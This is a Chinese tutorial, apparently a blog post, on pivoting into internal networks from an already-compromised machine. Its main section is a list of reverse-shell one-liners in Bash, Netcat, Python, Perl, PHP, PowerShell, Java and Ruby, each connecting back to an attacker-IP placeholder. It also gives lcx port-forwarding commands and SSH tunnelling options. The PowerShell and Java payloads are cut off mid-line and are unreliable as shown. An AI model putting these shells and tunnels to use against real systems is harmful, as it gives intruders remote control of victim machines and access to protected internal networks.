内网转发教程

介绍

内网转发是一种网络技术,通过一台已受控的内网机器,将外部流量转发到内网中的其他目标设备。通常用于绕过防火墙或其他安全措施,使外部攻击者能够访问内部网络资源


代理方式

  • 正向代理

正向代理用于隐藏客户端的真实IP地址,通过代理服务器代表客户端向目标服务器发送请求,或并将服务器的响应返回给客户端

  • 反向代理

反向代理用于隐藏服务器的真实IP地址、均衡负载、缓存内容、以及增强安全性,通过代理服务器代表服务器接收客户端的请求。客户端的请求首先到达代理服务器,其根据请求将其转发给合适的服务器,并将服务器的响应返回给客户端


内网转发的前提

  • 受控节点

攻击者成功攻陷内网中的一台或多台机器,通常通过漏洞利用、钓鱼攻击、社工攻击等手段获得对该机器的访问权限


  • 网络可达性

受控机器需要能够与内网中的其他目标设备通信,确保能够将流量成功转发到目标设备上


  • 工具和权限

受控机器上需要具备必要的工具(如SSH、SOCKS代理、端口转发工具)和足够的权限,以设置和管理转发规则


反弹shell

反弹Shell用于通过外部服务器与受害者机器建立连接,控制受害者的计算机。以下是几种常见的反弹Shell方式:


  • Bash
bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1
  • Netcat
nc -e /bin/bash <攻击者IP> <端口>
  • Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击者IP>",<端口>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • Perl
perl -e 'use Socket;$i="<攻击者IP>";$p=<端口>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • PHP
php -r '$sock=fsockopen("<攻击者IP>",<端口>);exec("/bin/sh -i <&3 >&3 2>&3");'
  • PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<攻击者IP>",<端口>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535
  • Java
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/<攻击者IP>/<端口>;cat <&5
  • Ruby
ruby -rsocket -e'f=TCPSocket.open("<攻击者IP>",<端口>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

端口转发


  • 下载zip文件后解压到指定的目录,并记住所在的目录,添加到系统环境变量Path中

在这里插入图片描述

  • listen模式:监听
lcx -listen <监听 slave 请求的端口> <等待连接的端口>

  • slave模式:连接
lcx -slave <本机 ip> <监听端口> <目标 ip> <目标端口>

  • tran模式:转发
lcx -tran <等待连接的端口> <目标 ip> <目标端口>

SSH反向代理

SSH 反向代理通过 SSH 隧道将内网服务暴露给外部访问

  • 工作原理:

SSH 反向代理的基本原理是通过 SSH 隧道将本地服务的端口转发到远程服务器上,从而使外部能够访问该服务。具体来说,它是在远程服务器上打开一个端口,所有对该端口的访问都会通过 SSH 隧道转发到本地服务


  • 使用:
# 本地端口转发
ssh -L 本地端口:目标IP:目标端口 用户@本地IP

# 远程端口转发
ssh -R 远程端口:目标IP:目标端口 用户@远程IP

#动态转发多个端口
ssh -D 本地端口 用户@远程IP

参数作用
-R指定远程端口转发,将远程服务器上的某个端口转发到本地计算机上的指定地址和端口
-L指定本地端口转发,将本地计算机上的某个端口转发到远程服务器上的指定地址和端口
-D创建一个SOCKS代理服务器,允许动态转发多个端口
-f在后台运行SSH会话
-N不执行远程命令,仅进行端口转发
-T不分配伺服终端
-C启用压缩
-i指定用于认证的私钥文件
-p指定远程服务器的端口号
-g允许远程服务器连接到本地转发的端口
-4强制SSH使用IPv4地址
-6强制SSH使用IPv6地址
-v显示详细的调试信息(v表示基本,vv表示更多调试信息,vvv表示最大调试信息)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值